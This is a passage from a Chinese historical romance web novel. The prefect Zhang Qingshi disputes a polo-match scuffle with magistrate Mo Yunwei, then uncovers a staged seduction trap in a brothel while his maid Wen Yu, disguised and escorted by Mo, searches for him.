只不过见众人焦急奔来,尤其是温玉还上前左右翻看他的全身,还不顾他身上的尘土。
他突然觉得有些……羞涩。
很奇怪的感觉。
他虽然从不在乎自身容貌,可当看见温玉那张白净的脸和手指都要沾染他身上的泥尘,竟有些不舍。
尤其是那双灵动的眸子眼看着都要蓄满了泪水。
于是张清时立马拉开了温玉,安抚道:“我没事!”
随即还拍掉身上的灰尘,示意自己一点事也没有。
温玉那眼眶蓄满的珍珠才往回收了点。
“没事就好!”
“我有事!”
声源是从地上的莫云炜身上发出的。
只见他双手抱膝盖,在地上撒泼打滚地喊道:“啊呦!我的膝盖,我的手肘都好疼啊!”
见状,众人纷纷看向张清时,都想知道发生了何事。
袁氏则出来主持大局问道:“张郎君,莫县令,你们怎么弄的?”
28. 东州8
当时,马球一挥远,场上的其他人都在追逐着马球,而只有他们两人在马上扭打,所以知道实情的也只有张清时和莫云炜两人自己。
可当张清时想回答时,莫云炜就恶人先告状,一脸愤愤道:“张刺史没想到你是这么一个人!为了赢,不惜打我腿,还打我的胳膊肘!”
莫云炜其实也不想在地上撒泼打滚耍无赖的,只不过是眼睁睁看着自己输了,且自己心系的小美人又那么关心张刺史。
心里恨念升起,为了顾脸面,只能空口白牙地无赖张清时了。
所幸,袁氏他们都是明事理的,没有只听莫云炜的一面之词,反而还一直等待张清时开口解释。
张清时则是当众先承认自己所做所为:“我的确是打了莫县令的膝盖和胳膊肘。”
“但是——”话锋一转,“是莫县令先不遵守规则,击伤我的马儿,我才不得已跳到他的马上。可他却不想让我待在他的马上,愈将我抖落下去。情急之下我才与莫县令起了争执。”
“对莫县令所造成伤害,我在这先真诚地对他赔个不是。”
说完,张清时不计前嫌地朝莫云炜行了一礼,以表歉意。
而莫云炜则翻转个身,不接受张清时的道歉。
“这……”
听完他们二人的措辞后,焦郎君看了一眼两人伤情,一个在这好端端地站着,一个则在地上哭天喊地。
谅谁都会站在莫云炜这边。
但焦郎君熟知张清时秉性,又因无外人旁观,自己还是这所有东州官员说得上话的,只能匆匆做个了断:“你两这顶多算互相斗殴,双方互相道个歉就算了。且刚刚张郎君已经道过歉了,莫县令你就在道一个吧。”
“这怎么能行?”莫云炜反驳道,并指了指自己的腿,“我他没受伤,我受伤了,这可怎么算?”
“莫县令,这好办,受了伤去我府中治疗便是。”袁氏应话道,“我这府中有的是治跌打损伤的药!”
“那不行!”莫云炜摇头道,眼神却飘向了温玉,“这是张刺史打的,自然由张刺史负责,或者说让张刺史的人负责。”
温玉看着莫云炜直勾勾的眼神不由地后退了几步,好家伙还平白赖上她了。
张清时则一把挡在温玉身前从容道:“好啊,我负责。”
随即,在众目睽睽之下,张清时俯下身,双手将莫云炜一个横抱了起来。
众人皆目瞪口呆,莫云炜也被吓住,连忙去推张清时的胸口:“你在做什么?快放开我!”
“莫县令,你受了伤,我定是要护送你去医馆治伤。”张清时笑着还将怀里的莫云炜掂了一掂,“还请莫县令切莫乱动,如若再跌下,恐怕伤得更严重了!”
“你……!”
莫县令咬牙切齿地想骂他,但顾忌在场所有人的目光都在自己身上,也不好发作,只能把这些脏话往回咽。
待真被张清时送入医馆内并躲开其他人视线后,他才立刻挣扎着从张清时怀里出来。
然后双手抱胸站在床旁,并十分不爽地看着张清时。
“莫县令,您这是?”
温玉跟着张清时一起来的,瞧莫县令这突然好端端的样子很是惊奇。
莫云炜早就为自己找好了措辞,自夸道:“小娘子,我男子汉大丈夫受这区区小伤根本没什么事。”
“你看,我硬朗得很!”
为展现他的雄风,莫云炜还往自己胸膛上硬锤了几下。
但温玉只觉得好笑,毕竟这人上一秒装作受了很重伤的样子嫁祸给张郎君,下一秒又装没事人一样。
变脸的可真快。
不过他好歹是官员,温玉面上还是强作关忧的样子:“莫县令,从马上摔落不是小事,要不还是请大夫过来看看为好?”
“不用。”莫云炜见温玉如此关心自己,一下嘴都笑裂开了,自诩苦肉计使得成功,“不过,若是小娘子贴身照顾我一下的话,相信这些伤痛不用看大夫就能好。”
说着说着,莫云炜就将他的咸猪手伸向温玉。
温玉见了连忙后退,没成想,张清时却抢先一步握住了莫云炜的手。
两只大手相握,臂上青筋尽显。
但张清时仍旧十分淡定道:“莫县令,你看你这头上都出了虚汗,这恐怕是有其他隐疾吧。温玉不会看病,我看还是请大夫来相看吧。”
说完,张清时与温玉对视一眼,温玉立即心领神会,赶紧跑着出去寻大夫过来医治莫云炜。
等温玉出去后,张清时才松开了手,莫云炜则因竭力而瘫坐在床榻上,直喘着粗气。
“张刺史,你这是何意?”
莫云炜瞪眼问道,这厮怎么总坏他好事。
“你平白无故赖我在先,后又惦记我的人,你又是何意?”
张清时冷漠地取出袖兜里的手帕,然后仔细擦拭自己的手,像是刚刚手上碰了什么很脏的东西。
“你的人?”莫云炜冷笑道,“明明我和温玉两情相悦,你都同意我娶她,如今却一直阻拦,莫不是你也喜欢她,想留她做陪床丫鬟?”
“休的狂言!”张清时抬眼,冷冷反驳道,“你德行有亏,你根本不配娶她!”
“我不配?”莫云炜抱胸回怼道,“你说的也不作数,你难道德行就不亏了?”
“这事的确是我有错在先。”提到这件,张清时语气缓和下来,“但她同你从不是什么两情相悦,还望莫县令不要再纠缠。”
“呵呵呵。”莫云炜嗤笑一声,姿态懒散地躺在床上,“我告诉你,不可能!”
“你!”
张清时将手握紧成拳,有种想给眼前的登徒浪子一拳的冲动。
可莫云炜见状依然不收敛,持续挑衅道:“哟,张刺史不是远近闻名出了名的温文尔雅吗?怎么说两句话就想动粗了?”
张清时:“……”
他一言不发,但指节却因用力而微微泛白。
他很少有这种控制不住情绪的时刻,他明明对所有事情都稳操胜券,却面对这个突如其来的登徒浪子失了理智。
只因……
忽而,下一秒,他的拳头被一只柔软却有力量的手给握住,一下一下地掰开他紧密的指节。
“郎君,大夫到了,我们出去吧。”
张清时微微一怔,抬眼便对上温玉那双如湖泊般干净透亮的眼眸,心中的怒意瞬间陷入这一汪湖水中,继而归于平静。
紧接着,他被她牵引而离开。
上午的马球比赛因为这两人打架而匆忙散场,现在眼瞅着这两人又要在医馆里打架,温玉怕这两人把医馆又给掀了,所以当一看见张郎君生气,就赶忙把他拉了出来。
出来闻闻新鲜的空气,看些绿草小花什么的,他的心情也能好些。
“郎君,下午还有什么安排吗?我们什么时候会回青州呀?”
温玉在一旁轻声问道,想通过创造一些话题来赶走张郎君头顶上的阴霾。
“暂时还…不能回青州。”
张清时摇头道,东州还有事未完成,他是不会回青州的。
被温玉握住的手,他也在慢慢抽离。
“啊?”
温玉有些失落,人在一个地方待久了,去了新的地方后总会觉得哪哪都不如旧地方如意。
所以温玉觉得待在东州没有待在青州如意自在。
张清时也注意道她的情绪,解释道:“是焦郎君邀我同游一段时间而已,这段时间,温玉也可以跟着我一起,可以去认识很多新鲜事物。”
“我……能一直和郎君一起吗?”
温玉的眸中升起一抹雀跃,要知道东州之行可是她撒了谎才求来的,没想到这次郎君却直接邀请
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她一起同游。
这是多大的幸事啊!
“嗯……”
张清时点头应允道,随即抬眸便看到那双灵动的眼眸笑得两眼弯弯,明媚如花。
这里没有芙蓉,却在她脸上看到花的绽放。
他突然很想知道,摘下一朵芙蓉花别在温玉的发髻上会是怎样?
忽而,还没来得及遐想,温玉又兴奋地问道:“郎君?那我们下午会去哪游玩?”
自从跟了张郎君后,温玉的确是体验到很多不一样的乐趣与生活,所以她无比地期待下一次。
张清时则认真地回想了一下道:“咳…听戏。”
“听戏?”
“什么戏?”
“《李娃传》。”
*
傍晚时分,天色渐暗,但街道上却依旧是灯火通明,人头攒簇。
温玉则跟着张清时一同来到勾栏一处戏台外。
听戏是当时人们茶余饭后最受喜爱的娱乐活动之一,所以戏台之下的观众席早已坐满了人。
今天听得一出是个爱情戏,所以放眼就能看见焦郎君携她的娘子袁氏坐在前排,而张郎君也携着温玉一起坐在了旁边。
可这是温玉第一次与主人们平起平坐观戏,先前在马场上,也是袁氏他们坐着,自己站着的。
现如今要一同坐在一起,尤其还要坐在袁氏旁边,温玉有点紧张还颇感不适。
并有些担忧自己的身份和动作惹恼了他们。
但袁氏是个直性子的,瞧温玉坐的板正,反而还打趣道:“温玉,你坐这么板正,是为了凸显我的坐姿不端吗?”
“啊?”
温玉诧异地转过身,发现袁氏正慵懒地躺在椅背之上,因为出行是便服,她今日之举比在宴席上所见随意了不少,又很显轻和。
袁氏继续提点道:“你这坐的太端正,将后排的视野都给挡到了不是?”
“噢噢。”
温玉立马领悟袁氏的意思,才稍稍往后躺了些。
不过背靠在椅子上的确是比坐直了舒服。
温玉躺好后,再悄悄用余光打量着袁氏,却发现袁氏目光已然不在她身上,而是全心贯注在戏台上,温玉这才不由地松了口气。
继而她也更加舒爽自在地将目光投入戏台上。
戏台上,郑生与李娃对唱,郎君和娘子,一俊一美,十分登对。
且郎有情妾有意。
温玉刚看得还是十分入迷。
可到后面就突然昭显出李娃背后的阴谋,她虽爱郑生,却依然要对郑生行骗,将他的手中的一切给全骗走。
看到这时,温玉心中难免一咯噔。
只因她现在也正在欺骗她家的郎君,对他行不好之事。
越看温玉越心虚,便偷偷用余光瞥向张郎君,想看看他是如何看待这场戏的。
不过——张郎君的心思好像并未在这场戏上。
他的身旁不知何时坐了一位人,正同他密聊着什么。
温玉身子悄悄移过去,侧耳认真地偷听。
只听那人问:“张刺史大人,听闻这几日你一直在陪焦郎君在此地游玩,何日会回青州?”
张清时:“焦郎是我好友,盛情难却,我打算陪他玩个三四日左右之后即回。”
“哈哈哈,这样啊。那刺史大人,陪他个有妇之夫玩,岂不寂寞?”
张清时:“袁娘子乃是将军,同我们相处也是像兄弟一样,不曾感受寂寞。”
“害,这不更加证明他们这些人都无趣嘛,要不小的给你推荐一个有趣的地方?”
张清时:“你说。”
“此地青楼有一乐妓,弹的小曲和跳的小舞皆名动东州,且恰好听闻刺史大人好诗喜乐,可否愿意去听一小曲?”
张清时沉吟片刻后,答道:“好啊。”
29. 东州9
当真真切切听到张郎君愿意去青楼的那一刻,台下的温玉眼睛睁得比台上施浓妆的戏子还要大。
她满眼地不可置信,不理解为何张郎君会同意去那种地方?
青楼,温玉从前就有听说过,说那是专门供人行风流之事,不是个什么正经的地方,就连陈禹都不允许自己儿子陈子诩去那个地方鬼混。
之前有一次陈子诩被他的狐朋狗友怂恿去尝尝鲜后,就被陈禹一顿好打,吓得再也不敢去那种地方。
哪成想,张郎君品性这么正直一个人,竟被旁人也怂恿着去那个地方。
震惊之余,温玉心中又十分忧切,极其不希望张郎君被坏人蒙骗去那种地方。
可她又不好直接同郎君劝说,这倒显得她在旁边故意偷听二人讲话似的。
所以温玉只能眼睁睁地看着旁边的张清时起身要与那坏人一同离场。
但她又实在忍不住,深吸了一口气后还是小声地叫住他:“郎君,您这是要去哪?”
闻声,张清时则很平静地转身道:“噢,我是要和这位友人一同办点事,稍后回来。”
“不带温玉一起吗?”
温玉担忧地问,既然那人要带郎君去不好的地方,肯定是要对郎君做不好的事情。
但如若她在的话,好歹能帮衬着郎君一些。
可张清时却微微一笑,安抚着温玉的情绪道:“不呢,温玉,相信我,我很快回来。”
旋即,张清时便同他那位刚认识的“友人”一同离场。
郎君不需要她,温玉则只能默默目送张郎君离开,继而不安地将目光转移到戏台上吟唱的戏子们身上。
恰好这会子戏台上也正演到郑生被骗后,一个贵公子流落去唱挽歌,被父亲仆从相认后,又惨遭训斥和责罚,终而奄奄一息地躺在冰天雪地里。
好端端一个贵公子陷落泥塘,在座看的人无一不替郑生惋惜。
温玉看着也更加心疼和不安,于是再三斟酌之后,也悄摸离场去寻张郎君身影。
可因为出来的有些晚,再加上对街道的不熟悉,温玉无法知晓青楼在何处。
但当街询问又有些不妥。
不过青楼好歹是青楼,又正值晚上,定是会有客人来寻。
那什么人会经常去青楼呢?
温玉思衬着,很快就联想到陈子诩那群纨绔跋扈风流之辈。
像他们这种没脑子,只用下半身思考风流的家伙才会对那种地方流连忘返。
根据以上自己的猜测,温玉很快找到自己的目标:
一群刚从旁边客栈出来的人,步履蹒跚、醉意熏熏,恣意地走在街道上。
他们衣料华贵却又衣冠不整。
吃醉了酒却又闹腾,并且不是随意拿起街边摊贩上的水果,就是开口吹哨调戏路过的良家妇女,浪荡不堪。
温玉忍着恶心,还是选择跟在他们身后走。
果然,没一会儿就跟他们来到青楼处。
而青楼门口站着一群打扮艳丽的姑娘,她们手摇着各色手帕,腰肢扭来扭去,笑迎迎地招揽着他们进来。
但温玉却站在门口止步不前,犯起了难,因为进这青楼的人一般都是男子,良籍女子则很少踏入。
温玉想着如若像她这样的贱籍女子贸然进去,很容易会被里面的人误会要投身于此,并将她也给拉去做这一行。
但如果她真要被拉走,遇见好讲理的还可以脱身。
怕就拍遇见不好讲理的,则她极有可能就会被困于此处,还得苦苦等张郎君来救。
可她是来救郎君的,不是给他添麻烦的。
在门口徘徊许久,温玉眼睛一转,最终敲定了个主意。
她要女扮男装。
于是她很快向街上路人问了最近的一间成衣店,进去便以焦郎君的名义借了一套男子的样衣。
店家得知是官府的自然愿意借,遂去后面仓库给温玉去拿崭新的一套。
可就在温玉等店家拿成衣时,一双手从背后蒙着了她的眼睛。
突然被人蒙住眼睛,温玉先是被吓得身子一颤,神色微变,心跳如鼓,再是克制平静地问:“敢问阁下是何人?”
她担心在这种地方碰上陈禹或者是陈禹的人。
却没想到身后传来油腻的一笑:
“我是你夫君啊,小娘子。”
“……”
听他这一说辞,温玉便知晓了身后之人是莫云炜,不是他人。绷直的身体也不由地松懈了下来。
不过又得打起十分精神,因为应对他还是需要耗费点心力。
“原来是莫县令呀!”
温玉笑盈盈地将他手放下,转身嗔怪似地看了他一眼:“县令好端端地为何要吓我?”
“这不,是情趣嘛!”
莫县令见温玉这幅含羞的模样,不禁地去用折扇去挑逗温玉的下巴。
温玉面上虽笑着,见那扇子过来却默默地推远了些:“莫县令,这里有人。”
“那怎么了,你可是我未来的小娘子。”,莫云炜轻佻道,“要不是张清时阻拦,你我可就很快礼成了。”
“是……是呀。”
在这种情况下只能是莫县令说什么温玉应什么了。
不过再不甩开莫县令,恐怕郎君就多一份危险。
恰好店家这时已经回来,温玉则借势离开莫云炜一点距离,指着成衣道:
“莫县令,我家郎君想买些衣裳,我今日还得取了样衣给郎君过目,所以要同县令先暂别一下了。”
“可我不舍得怎么办呀?”
莫云炜一点都不害臊地讲,
“我想同你多呆一会儿,要不这成衣就让店家自个送吧。”
店家也能看出莫云炜的身份,便毫不犹豫在一旁附和道:“是是是,我们这可以亲自送,不会耽误两位贵人的时间。”
温玉:“……”
温玉没想到莫县令真是一块狗皮膏药,怎么甩也甩不掉。
她这成衣是要自己用的,被送走了她穿什么。
而且还有莫云炜跟着,她行事得有多不便啊。
如果让莫云炜知道张郎君在青楼,他还指不定……
温玉脑中突然灵光一闪,赶紧拉莫县令到一处角落,唉声叹气道:
“哎,莫县令,其实我也不想给郎君送衣服的,只不过只不过……”
温玉话说一段叹一段的,听得莫云炜心头刺挠,他连忙问:“小娘子,是张清时他对你做了什么?你不要害怕,你同我说就行!”
“真的?”
温玉皱眉,挤出那委屈可怜的状态来。
果然真引起莫云炜的怜惜,他拍了拍胸脯道:“当然,我什么时候骗过你!”
“嗯……”温玉怕装过头,干脆一把扑入他的怀里,怯怯道,“郎君…他…他去了青楼,去了没一会儿就叫奴婢送衣裳给他。
这等羞耻之事,怎…怎能叫他人知晓啊。”
“去了青楼?”
莫云炜的眼底瞬间闪过一抹振奋。
张刺史去了青楼,这得是天下多大的新闻啊!若要是捉到他与青楼女子亲密,这不就能将他道貌岸然的伪君子形象直接揭露给世人看了?
想到这,莫云炜哈哈一笑,拍了拍温玉的肩膀安抚道:“莫怕,小娘子,你一人去青楼不方便,还是我同你一起进去吧。”
“好……谢谢县令!”
温玉抱得他更紧了些,而莫云炜心中就更得意,要不是这厮,自己早就抱的美人归了。
不过这次,是张清时自己要露出把柄,那就别怪他行不义之事了。
*
青楼分为三层,一层是大堂,内设有舞台和座位,是专供宾客喝酒听曲的;而二层和三层是厢房,是妓女们和宾客歇息的地方。
张清时则被刚认识的那人引入大堂坐下。
不过刚一坐下,屋内的许多姑娘见了他的容貌,便就纷纷涌了过来,不是要用香帕替他擦汗,就是要强行给他喂果,喂酒。
张清时哪见过这大阵仗,绷直了脸色,并一一回绝了她们的讨好。
但那些姑娘却甚觉得他这番推脱有趣,根本不理会,继续想摸他的摸他,要给他灌酒的灌酒。
而张清时就像落入盘丝洞里的和尚,见拒绝不行,便只能赶忙躲到带他过来的那人身边,好让他也替自己分担点攻击。
而旁边那人则是东州徵盛县的县令瞿源,也是引他过来的人。
瞿源见状当即拍桌呵斥道:“我们郎君是要看香姑娘表演的,尔等还不滚开!”
见势,那些个姑娘也不敢贴近,扭着腰就去伺候其他郎君了。
张清时则才如释重负,松了一口气。
“郎君,这等趣事你还是习惯为好。”身旁的瞿源一脸坏笑道。
张清时擦汗:“这…我并不觉得有趣。”
“那是因为这些个都是胭脂俗粉,你还没见过真正容貌冠绝的。”
瞿源挑了挑眉,随即招了招手,叫了老鸨过来。
老鸨一来,先是冲着两位嘿嘿一笑,随后驮着背听瞿源吩咐。
只见瞿源朝她的耳边小声说话,她就一边一个劲儿点头,一边咧着嘴冲张清时笑,两只黑漆漆的眼珠还时刻盯着他。
张清时顿时感觉心底有些发毛,但也只礼貌地小笑一下就别开脸去看舞台。
舞台上只有两三个艺伎盘坐着弹古筝。
语调简单轻快,弹得却不是很好。
张清时
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摇了摇头,这时瞿源又给他递上一杯酒:“郎君,先喝酒,敬等后面精彩吧。”
“谢谢。”
张清时自然地接过,用袖挡脸,喝了一小口。
稍许,再抬眼看向那舞台时,乐声已然中止,而台上艺伎们也各自抱着乐器离场,隐没在屏风后。
一时之间,偌大的舞台陷入了寂寥之中。
有些宾客不明所以,准备去向老鸨发难时,楼上又忽然传来一阵嘹亮的歌声,又将众人的目光皆给吸引了过去。
结果未见其人,先见一大段红纱如瀑布般从三楼泻下,流至宾客的脚边。
大家便又顺势抬眼去看那红纱。
红纱不是密织,又薄又透,只要专注点看,便能从中能够朦胧地看到纱帐后的景象。
紧接着,红纱帐内多了一位抱着琵琶的倩影,她正朝纱帐中心缓步走来。
红纱格挡,看不清姑娘面容,但光看那妖娆的身姿就已经让人引起美好的遐想了。
瞿源在一旁看着,也不由地连喝了好几杯酒。
那姑娘抱着乐器站着端正地行了一礼后,便开始坐下弹唱。
琵琶声婉转悠扬悦,再配上姑娘柔媚的声音,就是像是从这红纱帐内伸出一把无形的钩子,勾住了旁人的心魄,令人轻易沉醉。
于是就有不少男子就已经攀爬在红纱帐外,想亲眼看看这位乐妓长何样。
不过一一都被老鸨赶了下去。
因为精彩的还在后面。
琵琶弹完,姑娘便放下琵琶,走至纱帐边上,然后贴着纱帐开始舞动。
这里的姑娘身形都不用说,各个都是细腰长腿。
贴着纱帐舞动,原本模糊的景象一下被放大,不少人看着都大喷鼻血。
主要是乐妓身上好像还系着铃铛,一动一响,响得人心痒痒。
瞿源看了又忍不住喝了好几杯酒,然后再把视线打量在一旁依旧坐的笔直的张清时身上,一脸坏笑道:“郎君,可满意否?”
张清时淡然地点了点头:“曲好,舞也好。”
“哈哈哈,我就知道你会喜欢的。”
瞿源嘴角微微勾起,随后又用眼神示意了一下老鸨。
老鸨点头,在舞台边上立刻拍了下手掌,纱帐内的姑娘听后,便极快地以一道转圈而结束了这场曼妙的舞蹈。
舞动虽然结束,但台下不少人还未止渴,纷纷表示没看够,嚷嚷着让这位美丽的姑娘再来一次。
而老鸨则一脸赔笑道:“这位姑娘叫香叶,只卖艺不卖身,所以每天只为大家弹奏一曲琵琶。但今日香姑娘为了感谢大家追捧便还多跳了一舞,大家就不要为难香姑娘了。”
“老鸨,我愿意多出一些银子,可以让香姑娘再为我们跳一曲吗?”
有人还沉浸在余韵中,不惜舍千金换她一舞。
“啊这……”
见老鸨有些犹豫,其他人也开始起哄道:“我们也愿意出钱!”
“不就是要钱吗?我们有的是!”
一时之间,各个贵客都叫嚷了起来,老鸨没办法,只好说:“那我问问姑娘意见吧。”
随即,老鸨就对着乐妓耳语了几句。
而这时,瞿源则问张清时:“郎君,你是否也想让这乐妓为你舞上一曲?”
张清时则淡淡地回答道:“不强求。”
“哈哈哈,强扭的瓜是不甜。”瞿源会心一笑。
接着,老鸨得了乐妓的口传后笑呵呵地对众人道:“我家姑娘说了,看大家如此喜欢,她愿意再跳一次,只不过——”
“只不过什么呀?”有人焦急地问道。
而老鸨则走到张清时面前,谄媚地笑道:“不过姑娘说只想为一人跳,为在场最俊的郎君跳。”
“是我吗?哈哈哈!”有人自夸道。
“屁!明明是我!”
“想给最俊的郎君跳,姑娘该不是想找郎君了吧?”
“哈哈哈。”
再场的大部分男人都在争论是自己,唯有老鸨一直笑眯眯地看着张清时。
张清时不解道:“何以见得我是这里最俊的?”
老鸨笑道:“郎君你莫要自谦,香姑娘呐,可是在你一进门的时候就看中了你。这不,就拜托我来做个托辞。”
“是啊!郎君,你好歹是有花面郎君之称,我勉强称你为第一帅,我为第二帅。”瞿源也跟着当一个说客,“郎君,你可别让姑娘等伤心了。”
在老鸨和瞿源的双双劝说下,张清时再次将目光投向前方。
红纱帐内,那抹倩影静静站立,仿佛正隔着红纱与他对望,也在等待着他的回应。
终而,张清时淡淡地点头:“早闻香姑娘舞动东州,我也乐意再看一遍。”
30. 东州10
应了约后,老鸨就迫不及待地带着张清时去到三楼厢房,一边说着香姑娘的好,一边又说着张清时好福气。
一直喋喋不休,直至将人送入了厢房。
厢房的摆设很普通,一床一桌,还有一个梳妆台,那上面堆着一些香脂香粉和一个花瓶。
屋内还点了熏香,香的有些腻人。
所以张清时走至窗边,打开了窗户透口气。
恰好这时,门也开了,香姑娘穿着单薄的衣裙款款而来。
“见过郎君。”
她的声音唱起歌来妩媚动人,但说起话来却是别样风采。
张清时应声坐在桌边,看着那双媚眼,缓缓开口道:“听说你想为我再跳一舞?”
“是的,郎君。”
香姑娘走至张清时身边,她穿的一身抹胸舞裙,肩上只单单铺了件薄纱。
每走一步,薄纱就不自觉滑落,露出一大块白皙的香肩来。
张清时侧脸过去,她又伸手勾着张清时的脖颈往回看。
但张清时却扼制住她的手腕道:“我不喜欢看别人跳舞,但我喜欢听曲,姑娘可否为我再弹一曲?”
“当然可以。”
香姑娘莞尔一笑,顺势用手摸了一把张清时的脸后才离开。
随后,她走至门边,打发小厮去取她的琵琶来。
继而得了琵琶,她便坐在张清时对面开始自弹自唱起来。
弹得还是先前在大堂里听的一曲。
张清时摇摇头道:“这首腻了,换一首。”
“郎君,可真是喜新厌旧。”香姑娘停下弹奏,娇嗔道,“可奴家也只会这一首,要不郎君教教我?”
“好啊。”张清时轻声答道,还抬起手让她过来。
香姑娘嘴角也扬起一抹笑意,抱着琵琶就要往张清时怀里坐。
可笑容还没维持多久,就立马僵住。
因为当她刚放下戒备走向前,伸手去勾张清时脖子时,却被他一个反手擒拿,反制在桌板上。
“哎呀呀,疼疼疼!郎君,你这是干什么呀?”
香姑娘被狠狠地按在桌板上,精致的面容都被挤压得扭曲了。
“少装了,你是谁的人?”
张清时冷声问道。
“啊呦,郎君,我是你的人呀!”
香姑娘仍旧不承认,还是一口一个郎君甜甜的唤着。
“呵,我的人?”张清时冷笑一声,“你们这一局全都是马脚,难道当我看不出来?”
“怎……怎么会?”
香姑娘瞬间脸色一变,但还是强装镇定道。
张清时眼神漠然道:“就先说你吧,作为名动东州的乐妓,竟然只会弹一首曲子。
而且会弹琵琶之人,手上定会有一层厚厚的茧,但你却全是新生的伤口,恐怕为了练它,花了不少心思吧?”
“呵呵呵,郎君真是好眼力。”
香叶见被揭穿干脆也不装了,威胁道:
“不过,郎君进了这青楼,就想轻易地脱身吗?”
“你还能有什么本事?”张清时冷冷问道。
“郎君可就瞧好了,呵呵呵。”香叶会心一笑,然后开始疯狂地扭动自己的身子。
她穿的衣服单薄,一扭动,披在肩上的纱和抹胸止不住地要往下掉。
她还一边大声喊道:“救命啊!救命啊!”
“闭嘴!”
张清时不敢看,也不敢碰她,只能苍白地叫她住嘴。
可香叶喊的更用力了:“救命呀救命呀!”
紧接着,下一秒,厢房门便被人给突破了。
*
在莫云炜答应温玉的请求后,二人就马不停蹄地赶往青楼。
因为有莫云炜仗着,又是丫鬟身份,温玉很自然轻松地同莫云炜一同入了内。
可莫云炜一进大堂,就有好几个衣着鲜艳的女子将他围了起来,还不断拿香帕扫他的脸。
莫云炜也是一个不争气的,没扫几下,就满脸涨红,眼睛随着一个姑娘上前就转到哪个姑娘身上。
活脱脱变成一个痴汉相。
在一旁的温玉只能用力地扯着他的衣袖道:“莫县令,别忘了,我们是有真事的。”
“啊…对……对对。”
莫云炜一边敷衍着对温玉,一边眼珠子都快掉姑娘身上了。
最要命的是,还露出一副傻傻的笑容。
别的姑娘见了都在笑话他,他也不知道。
温玉皱了皱眉,没得办法,只能隔着衣袖使劲拧了一下他的肉,提醒道:“莫县令,你这样,要是被别人抓住把柄了怎么办?”
“嘶—啊—对!”
温玉下手重,一下就把莫县令疼得叫了起来,然后他这才想起有正事要干,用扇子拍了一下脑袋不好意思道:
“小娘子,这是我第一次来,没见过这场面,所以就不小心被她们迷惑了。”
“但是,小娘子,我心还是你的,你一喊我,我就立马清醒了。”
温玉无语地瞥了他一眼道:“莫县令,我们还是找找张郎君在哪吧!”
“啊对对对。”
说完,莫云炜就开始扫视大堂一圈,却没发现张清时半点身影。
再抬头看到二三楼那紧闭的厢房时,异常激动了起来:“诶,小娘子,你说张清时会不会已经和这儿的美人共枕了呀?”
“不可能。”温玉坚定地说,“我们赶紧上去找吧。”
虽然内心相信郎君,但是还是害怕那些坏人会对他做一些事情,万一又是下春药呢?
越想内心越焦急,温玉抬腿就要上楼,不过又被莫云炜用手拦了下来:
“这么多房间,你打算一个一个找吗?”
“那还有什么更快捷的办法吗?”
温玉泄了气,痛恨这里怎么有这么多房间。
“长嘴是用来干什么的呀?问呀!”
莫云炜打开扇子,摇了起来,又起了他那风流倜傥的做派。
恰好迎上待客的老鸨,她笑眯眯地走过来问:“郎君,在这有没有看见心仪的姑娘呀?看你面生,要不我给你介绍一个?”
莫云炜也不加修饰直接问:“你这有没有一个叫张清时的人?”
“郎君~”老鸨黑溜溜地眼珠一转,嗔怪道,“这都是贵人,我们这等贱民哪配晓得贵人的名字嘞?”
“那……有碰见长得好看的郎君吗?”
温玉描绘了张清时最大的特点。
“啊呦,你也是在说笑,这里那个郎君不好看啊?”老鸨敷衍地回答道,“我看你们也不是正经逛青楼的,还是不要打扰咱这生意,出去吧~出去吧~”
话说完,老鸨就摇着帕子要将二人给赶出去。
而眼看要无功而返的温玉又掐了一下莫云炜悄声道:“莫县令,你快说你要点客。”
“这……这么好?”
莫云炜还在打趣道,又被温玉给拧了一下,他这才有了个正形。
他咳了一声道:“诶,老鸨,不是我不点客,是你这没有好的姑娘!”
“谁说的?”这话一下将老鸨点着了,两手叉腰地问道,“你说,你想要什么姑娘,我替你找!”
“当然是——”
“最美的!”温玉抢在莫云炜前面先回答道。
莫云炜也跟着附和:“对对对,最美的!”
“这简单!”
老鸨冷哼一声,随即对着小厮道:“给我叫玉姑娘过来。”
“得勒。”
小厮一声应下,腿脚利索,没一会儿就真请了玉姑娘过来。
玉姑娘人如其名,长着一张妩媚
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的狐狸玉面,皮肤也想玉一样白皙透亮。还穿着一抹短裙,裸露的肌肤不得不说,可也能让人欲罢不能。
这不莫云炜眼睛都看直了。
老鸨也不由得嗤笑一声:“郎君,你可满意?”
“满意满意!”
莫云炜兴奋地喊道,他早已两眼放光。
老鸨也很满意,推了姑娘上前伺候,自个就先退下去接待其他客人。
这玉姑娘不仅人长得妩媚动人,行为也很妩媚勾人。
她先是释放一个勾人无害的眼神,继而走至莫云炜的身边,伸手去勾他的脖子,又用玉指抚摸他的脸庞,再是鼻子,再是嘴唇,再是喉咙。
摸完后又刻意将他给推开,往前走。
这不,小小的一下,莫云炜就被吊的像狗一样不自觉地跟在她身后走了。
“这莫县令真不靠谱!”
温玉暗骂道,随即又狠狠地踩了莫云炜一脚,将他给踩醒。
莫云炜被他这番打搅,脸上已经多了一丝不悦:“你干嘛?”
温玉连忙解释道:“莫县令,我刚刚听到这里宾客说,说这玉姑娘才不是这最好看的。”
“你乱说什么?我可是这里的头牌!!!”玉姑娘双眼瞪圆,白皙的脸上浮出一片怒意。
“我没乱说,哪有头牌还没被挑走呀?”温玉继续煽风点火道,“听说刚来了一位极好看的郎君,他就挑走了这里最好看的姑娘。”
“她……她……算什么?”玉姑娘跺了跺脚,“她才不算我们这的呢!”
听这女子这么一说,张郎君果然在这点了好看的姑娘。
这让温玉内心更加烦恼,便又扯了一下莫云炜低声道:“莫县令,你看我这不就试探出张郎君在哪了吗?沉迷美色重要还是让张郎君身败名裂重要?”
这话倒也提醒了莫云炜,毕竟青楼想什么时候来,但揭开张清时那虚假的面容却是机会难得。
于是他赶紧又恢复正常脸色,开始与温玉一唱一和道:“好啊!原来这老鸨骗我,说给我挑一个最美的,没想到是次的,看我不去找她理论。”
说完,莫云炜佯装出怒气冲冲的样子,眼神也开始在大堂内找寻老鸨的身影。
玉姑娘见状也顾不得理论那人是不是楼内的,忙劝道:“不是,郎君,那人已经上楼伺候了,找她也是无济于事啊!要不你就看看奴家。”
说着说着,玉姑娘就将莫云炜的手牵起,放在自己脸上:“郎君要懂得珍惜眼前人。”
她这一弄,莫云炜心又被吊起,但他现在时刻想着要揭张清时的面目,便还是一把推开了姑娘的脸:“你赶紧说那人在哪,我偏要她伺候我!”
“啊!郎君!”
而玉姑娘被他突然这一推,身子娇弱的她被推得往旁踉跄了几步,险些要摔倒。
“郎君,为何要这样待我?”
玉姑娘捂着脸,两眼含泪问道。
今天真是她屈辱的一天,本来自己就是这楼里的招牌,今日来了一个姑娘,不仅抢了自己的风头,还伺候个美郎君。
